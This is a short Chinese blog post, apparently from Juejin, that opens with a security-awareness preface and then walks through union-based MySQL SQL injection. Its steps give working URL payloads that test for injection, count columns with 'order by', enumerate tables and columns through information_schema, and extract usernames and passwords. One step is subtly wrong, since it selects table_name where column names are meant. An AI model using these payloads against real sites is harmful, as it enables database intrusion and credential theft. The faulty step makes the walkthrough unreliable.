本文已参与「新人创作礼」活动,一起开启掘金创作之路。
前言
今天来分享一些网站搭建中经常出现的漏洞解析,我们在
网站搭建中经常会遇到一些网站报错的小问题,不要小看这些
小问题,有可能会直接使我们的程序崩溃,造成不可逆的损失
数据损坏。而有一些不法分子会利用我们网站的漏洞进行攻击
与数据盗取,希望大家注意,今天就分享一下自己对网站搭建
与安全的一些见解。
SQL注入漏洞主要形成的原因是在数据交互中,前端的
数据传入到后台处理时,没有做严格的判断,导致其传入的
“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
数据库类型:
Mysql、Access、Mssql、Oracle、Postsql、SQLite等等
1. Mysql注入信息收集
① 操作系统
② 数据库名
③ 数据库用户
④ 数据库版本
2. 版本问题
① 低版本 (暴力查询或者结合读取查询)
② 高版本 (information_schema有据查询)
Tips:在Mysql 5.0以上的版本中,Mysql存在有一个自
带的数据库名字为:information_schema,它记录了所
有的数据库表名、列名。
1. 判断注入:
① 老方法中 and 1=1 和 and 1=2
② 使页面发生改变的字母符号
2. 猜测列名数量(字段数)
① ?id=1 order by 5 //报错,说明存在4个字段
3. 报错拆解准备
① ?id=1 union select 1,2,3,4
② ?id=-1 union select 1,2,3,4
4. 查表
?id=-1 union select 1,table_name,3,4 from
information_schema.tables where table_schema='数据库名字'
5. 查列
?id=-1 union select 1,group_concat(table_name),3,4 from
information_schema.columns where table_name='表名'
6. 查内容
?id=-1 union select 1,name,password,4 from 表名